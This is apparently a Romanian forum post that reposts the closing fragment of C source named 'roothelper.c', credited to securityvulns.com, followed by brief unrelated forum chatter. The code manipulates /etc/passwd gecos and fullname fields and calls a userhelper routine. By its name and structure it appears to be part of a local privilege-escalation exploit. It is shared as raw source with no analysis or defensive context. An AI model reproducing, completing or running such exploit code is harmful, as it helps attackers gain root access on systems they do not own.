"%.*s", (int)field_len, field); if (strlen(assembled) != field_len) die(); struct gecos_data gecos; memset(&gecos, 0, sizeof(gecos)); xsnprintf(gecos.site_info, sizeof(gecos.site_info), "%s", my.gecos.site_info); if (strcmp(assembled, gecos_assemble(&gecos)) != 0) die(); } siteinfo_len = strlen(my.gecos.site_info); fullname_off = field - contents; before_fullname_len = field - line; before_fullname = xstrndup(line, before_fullname_len); after_fullname_len = rest - field; after_fullname = xstrndup(field, after_fullname_len); break; case 5: if (*field != '/') die(); break; default: die(); } field = field_end + 1; } const int err = generate_userhelper(a, n-1, contents); free(before_fullname), before_fullname = NULL; free(after_fullname), after_fullname = NULL; free(contents); return (err < 0) ? -1 : n; } Sursa: http://securityvulns.com/files/roothelper.c

Incepand cu mijlocul lui august vom mai rezolva dintre problemele de pe forum.

@Vlachs sa decida, stie cel mai bine.